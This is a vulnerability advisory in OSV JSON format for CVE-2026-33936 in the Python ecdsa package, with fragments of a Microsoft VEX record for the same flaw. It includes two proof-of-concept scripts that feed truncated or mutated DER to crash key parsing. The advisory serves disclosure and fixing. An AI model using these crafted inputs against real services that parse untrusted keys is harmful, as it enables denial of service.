{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "ecdsa"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.19.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33936"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-130",
      "CWE-20"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-27T15:56:01Z",
    "nvd_published_at": "2026-03-27T23:17:13Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nAn issue in the low-level DER parsing functions can cause unexpected exceptions to be raised from the public API functions.\n\n1. `ecdsa.der.remove_octet_string()` accepts truncated DER where the encoded length exceeds the available buffer. For example, an OCTET STRING that declares a length of 4096 bytes but provides only 3 bytes is parsed successfully instead of being rejected.\n\n2. Because of that, a crafted DER input can cause `SigningKey.from_der()` to raise an internal exception (`IndexError: index out of bounds on dimension 1`) rather than cleanly rejecting malformed DER (e.g., raising `UnexpectedDER` or `ValueError`). Applications that parse untrusted DER private keys may crash if they do not handle unexpected exceptions, resulting in a denial of service.\n\n## Impact\n\nPotential denial-of-service when parsing untrusted DER private keys due to unexpected internal exceptions, and malformed DER acceptance due to missing bounds checks in DER helper functions.\n\n## Reproduction\n\nAttach and run the following PoCs:\n\n###  poc_truncated_der_octet.py\n\n```python\nfrom ecdsa.der import remove_octet_string, UnexpectedDER\n\n# OCTET STRING (0x04)\n# Declared length: 0x82 0x10 0x00  -\u003e 4096 bytes\n# Actual body: only 3 bytes -\u003e truncated DER\nbad = b\"\\x04\\x82\\x10\\x00\" + b\"ABC\"\n\ntry:\n    body, rest = remove_octet_string(bad)\n    print(\"[BUG] remove_octet_string accepted truncated DER.\")\n    print(\"Declared length=4096, actual body_len=\", len(body), \"rest_len=\", len(rest))\n    print(\"Body=\", body)\n    print(\"Rest=\", rest)\nexcept UnexpectedDER as e:\n    print(\"[OK] Rejected malformed DER:\", e)\n```\n\n- Expected: reject malformed DER when declared length exceeds available bytes\n- Actual: accepts the truncated DER and returns a shorter body\n- Example output:\n```\nParsed body_len= 3 rest_len= 0 (while declared length is 4096)\n```\n\n### poc_signingkey_from_der_indexerror.py\n\n```python\nfrom ecdsa import SigningKey, NIST256p\nimport ecdsa\n\nprint(\"ecdsa version:\", ecdsa.__version__)\n\nsk = SigningKey.generate(curve=NIST256p)\ngood = sk.to_der()\nprint(\"Good DER len:\", len(good))\n\n\ndef find_crashing_mutation(data: bytes):\n    b = bytearray(data)\n\n    # Try every OCTET STRING tag position and corrupt a short-form length byte\n    for i in range(len(b) - 4):\n        if b[i] != 0x04:  # OCTET STRING tag\n            continue\n\n        L = b[i + 1]\n        if L \u003e= 0x80:\n            # skip long-form lengths for simplicity\n            continue\n\n        max_possible = len(b) - (i + 2)\n        if max_possible \u003c= 10:\n            continue\n\n        # Claim more bytes than exist -\u003e truncation\n        newL = min(0x7F, max_possible + 20)\n        b2 = bytearray(b)\n        b2[i + 1] = newL\n\n        try:\n            SigningKey.from_der(bytes(b2))\n        except Exception as e:\n            return i, type(e).__name__, str(e)\n\n    return None\n\n\nres = find_crashing_mutation(good)\nif res is None:\n    print(\"[INFO] No exception triggered by this mutation strategy.\")\nelse:\n    i, etype, msg = res\n    print(\"[BUG] SigningKey.from_der raised unexpected exception type.\")\n    print(\"Offset:\", i, \"Exception:\", etype, \"Message:\", msg)\n```\n\n- Expected: reject malformed DER with `UnexpectedDER` or `ValueError`\n- Actual: deterministically triggers an internal `IndexError` (DoS risk)\n- Example output:\n```\nResult: (5, \u0027IndexError\u0027, \u0027index out of bounds on dimension 1\u0027)\n```\n\n## Suggested fix\n\nAdd \u201cdeclared length must fit buffer\u201d checks in DER helper functions similarly to the existing check in `remove_sequence()`:\n\n- `remove_octet_string()`\n- `remove_constructed()`\n- `remove_implicit()`\n\nAdditionally, consider catching unexpected internal exceptions in DER key parsing paths and re-raising them as `UnexpectedDER` to avoid crashy failure modes.\n\n## Credit\n\nMohamed Abdelaal (@0xmrma)",
  "id": "GHSA-9f5j-8jwj-x28g",
  "modified": "2026-03-30T20:17:11Z",
  "published": "2026-03-27T15:56:01Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/tlsfuzzer/python-ecdsa/security/advisories/GHSA-9f5j-8jwj-x28g"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33936"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tlsfuzzer/python-ecdsa/commit/bd66899550d7185939bf27b75713a2ac9325a9d3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/tlsfuzzer/python-ecdsa"
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    {
      "type": "WEB",
      "url": "https://github.com/tlsfuzzer/python-ecdsa/releases/tag/python-ecdsa-0.19.2"
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  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "python-ecdsa: Denial of Service via improper DER length validation in crafted private keys"
}

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        "text": "To determine the support lifecycle for your software, see the Microsoft Support Lifecycle: https://support.microsoft.com/lifecycle",
        "title": "Additional Resources"
      },
      {
        "category": "legal_disclaimer",
        "text": "The information provided in the Microsoft Knowledge Base is provided \\\"as is\\\" without warranty of any kind. Microsoft disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Microsoft Corporation or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Microsoft Corporation or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.",
        "title": "Disclaimer"
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        "summary": "Common Vulnerability Scoring System",
        "url": "https://www.first.org/cvss"
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    ],
    "title": "python-ecdsa: Denial of Service via improper DER length validation in crafted private keys",
    "tracking": {
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          "date": "2026-03-30T14:37:32.000Z",
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          {
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              {
                "category": "product_version",
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                "product": {
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                  "product_id": "17084"
                }
              },
              {
                "category": "product_version",
                "name": "2.0",
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                  "name": "CBL Mariner 2.0",
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              },
              {
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      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "general",
          "text": "GitHub_M",
          "title": "Assigning CNA"
        }
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          "17086-2"
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      "references": [
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          "category": "self",
          "summary": "CVE-2026-33936 python-ecdsa: Denial of Service via improper DER length validation in crafted private keys - VEX",
          "url": "https://msrc.microsoft.com/csaf/vex/2026/msrc_cve-2026-33936.json"
        }
      ],
      "remediations": [
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          "category": "none_available",
          "date": "2026-03-29T01:01:47.000Z",
          "details": "There is no fix available for this vulnerability as of now",
          "product_ids": [
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          ]
        },
        {
          "category": "none_available",
          "date": "2026-03-29T01:01:47.000Z",
          "details": "There is no fix available for this vulnerability as of now",
          "product_ids": [
            "17086-2"
          ]
        }
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      "scores": [
        {
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            "attackComplexity": "LOW",
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            "availabilityImpact": "LOW",
            "baseScore": 5.3,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "NONE",
            "environmentalsScore": 0.0,
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "temporalScore": 5.3,
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            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
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          "products": [
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            "17086-2"
          ]
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      ],
      "title": "python-ecdsa: Denial of Service via improper DER length validation in crafted private keys"
    }
  ]
}

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